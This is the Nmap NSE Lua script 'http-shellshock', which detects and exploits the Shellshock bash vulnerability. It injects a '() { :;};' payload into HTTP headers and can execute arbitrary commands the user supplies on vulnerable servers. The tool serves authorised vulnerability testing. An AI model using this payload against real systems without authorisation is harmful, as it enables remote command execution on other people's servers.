Update Wed Aug 31 06:36:56 AM CDT 2022
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local http = require "http"
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local shortport = require "shortport"
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local stdnse = require "stdnse"
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local string = require "string"
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local vulns = require "vulns"
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local rand = require "rand"
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description = [[
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Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and CVE-2014-7169) in web applications.
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To detect this vulnerability the script executes a command that prints a
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random string and then attempts to find it inside the response body. Web apps that
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don't print back information won't be detected with this method.
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By default the script injects the payload in the HTTP headers User-Agent,
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Cookie, Referer and also uses the payload as the header name.
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Vulnerability originally discovered by Stephane Chazelas.
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References:
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* http://www.openwall.com/lists/oss-security/2014/09/24/10
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* http://seclists.org/oss-sec/2014/q3/685
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* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
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* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
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]]
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---
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-- @usage
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-- nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=whoami <target>
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--
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-- @args http-shellshock.uri URI. Default: /
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-- @args http-shellshock.header HTTP header to use in requests. Default: User-Agent
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-- @args http-shellshock.cmd Custom command to send inside payload. Default: nil
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---
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author = {"Paulino Calderon <calderon()websec.mx","Paul Amar <paul()sensepost com>"}
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license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
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categories = {"exploit","vuln","intrusive"}
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portrule = shortport.http
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function generate_http_req(host, port, uri, custom_header, cmd)
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local rnd = nil
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--Set custom or probe with random string as cmd
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if cmd ~= nil then
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cmd = '() { :;}; echo; /bin/bash -c '..cmd
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else
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rnd = rand.random_alpha(15)
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cmd = '() { :;}; echo; echo "'..rnd..'"'
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end
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-- Plant the payload in the HTTP headers
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local options = {header={}}
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options["no_cache"] = true
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if custom_header == nil then
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stdnse.debug1("Sending '%s' in HTTP headers:User-Agent,Cookie and Referer", cmd)
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options["header"]["User-Agent"] = cmd
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options["header"]["Referer"] = cmd
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options["header"]["Cookie"] = cmd
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-- options["header"][cmd] = cmd
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else
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stdnse.debug1("Sending '%s' in HTTP header '%s'", cmd, custom_header)
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options["header"][custom_header] = cmd
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end
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local req = http.get(host, port, uri, options)
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if not(cmd) then
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return req
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else
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return req, rnd
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end
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end
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action = function(host, port)
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local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil
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local http_header = stdnse.get_script_args(SCRIPT_NAME..".header") or nil
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local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/'
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local rnd = nil
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local req, rnd = generate_http_req(host, port, uri, http_header, nil)
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if req.status == 200 and string.match(req.body, rnd) ~= nil then
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local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
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local vuln = {
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title = 'HTTP Shellshock vulnerability',
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state = vulns.STATE.NOT_VULN,
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description = [[
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This web application might be affected by the vulnerability known as Shellshock. It seems the server
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is executing commands injected via malicious HTTP headers.
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]],
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IDS = {CVE = 'CVE-2014-6271'},
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references = {
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'http://www.openwall.com/lists/oss-security/2014/09/24/10',
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'http://seclists.org/oss-sec/2014/q3/685',
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'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169'
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},
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dates = {
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disclosure = {year = '2014', month = '09', day = '24'},
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},
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}
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stdnse.debug1("Random pattern '%s' was found in page. Host seems vulnerable.", rnd)
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vuln.state = vulns.STATE.EXPLOIT
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if cmd ~= nil then
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req = generate_http_req(host, port, uri, http_header, cmd)
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vuln.exploit_results = req.body
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end
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return vuln_report:make_output(vuln)
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end
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end
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